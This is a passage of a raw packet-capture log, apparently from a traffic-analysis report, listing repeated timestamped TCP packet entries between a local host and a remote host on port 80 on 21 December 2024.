                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.769488096 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.769529104 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.770884037 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.770919085 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.770936012 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.770961046 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.772126913 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.772211075 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.772258043 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.773487091 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.773533106 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.773544073 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.773658037 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.774871111 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.774919987 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.774976969 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.775110006 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.776222944 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.776272058 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.776325941 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.776431084 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.777595043 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.777708054 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.777757883 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.778985023 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.779042006 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.779143095 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.779187918 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.780349016 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.780406952 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.780425072 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.780466080 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.781754017 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.781795025 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.781831026 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.781959057 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.892180920 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.892240047 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.892266035 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.892290115 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.892930031 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.892982960 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.892982960 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.893027067 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.893273115 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.893313885 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.893331051 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.893376112 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.894224882 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.894272089 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.894332886 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.894421101 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.895236969 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.895380974 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.895425081 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.896218061 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.896419048 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.896471024 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.897265911 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.897315979 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.897320986 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.897361040 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.898231983 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.898286104 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.898351908 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.898473024 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.899214029 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.899261951 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.899348021 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.899393082 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.900243998 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.900300026 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.900379896 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.900506020 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.901236057 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.901307106 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.901326895 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.901508093 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.903091908 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.903166056 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.903214931 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.903261900 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.904057980 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.904093027 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.904103041 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.904144049 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.904953957 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.905014992 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.905046940 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.905097961 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.905775070 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.905826092 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.905870914 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.905920982 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.906641006 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.906692982 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.906749964 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.906817913 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.907365084 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.907417059 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.907480955 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.907531977 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.908102036 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.908320904 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.908373117 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.908845901 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.908901930 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.908951998 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.909770966 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.909821033 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.909898996 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.909943104 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.910684109 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.910747051 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.910784960 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.910830975 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.911654949 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.911740065 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.911771059 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.912097931 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.912564993 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.912611961 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.912693977 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.912772894 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.913542986 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.913600922 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.913650036 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.914489985 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.914525986 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.914541006 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.914572001 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.915421963 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.915472031 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.915534019 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.915606022 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.916454077 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.916543007 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.916570902 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.916616917 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.917293072 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.917351007 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.917417049 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.917460918 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.918231010 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.918279886 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.918296099 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.918344021 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.919187069 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.919231892 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.919296980 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.919574976 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.920114040 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.920171022 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.920216084 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.920270920 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.921082020 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.921130896 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.921237946 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.921278000 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.922064066 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.922112942 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.922168016 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.922239065 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.922952890 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.922995090 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.923083067 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.923129082 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.923888922 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.923945904 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.924020052 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.924124002 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.924866915 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.924918890 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.924948931 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.924989939 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.925817966 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.925862074 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.925961971 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.926064968 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.926791906 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.926841974 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.926846981 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.926888943 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.927738905 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.927853107 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.927895069 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.928631067 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.928762913 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.928823948 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.929589987 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.929636002 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.929733038 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.929814100 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.930517912 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.930560112 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.930659056 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.930696964 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.931540012 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.931593895 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.931638956 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.931690931 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.932634115 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.932682037 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.932720900 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.932926893 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.933413029 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.933460951 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.933505058 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.933625937 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.934323072 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.934365988 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.934416056 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.934528112 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.935255051 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.935412884 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.935426950 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.935494900 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.936223984 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.936264992 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.936383963 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.936420918 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.937176943 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.937231064 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.937268019 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.937308073 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.938074112 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.938121080 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.938244104 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.938288927 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.939040899 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.939085960 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.939167023 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.939230919 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.940010071 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.940057039 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.940109015 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.940217972 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.940963984 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.941020966 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.941118002 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.941160917 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.941817999 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.941858053 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.084465027 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.084517002 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.084554911 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.084574938 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.084605932 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.084606886 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.084645033 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.084682941 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.085412025 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.085463047 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.085531950 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.085586071 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.086340904 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.086395025 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.086456060 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.086498022 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.087301016 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.087471962 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.087485075 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.087529898 CET4978780192.168.2.431.41.244.11
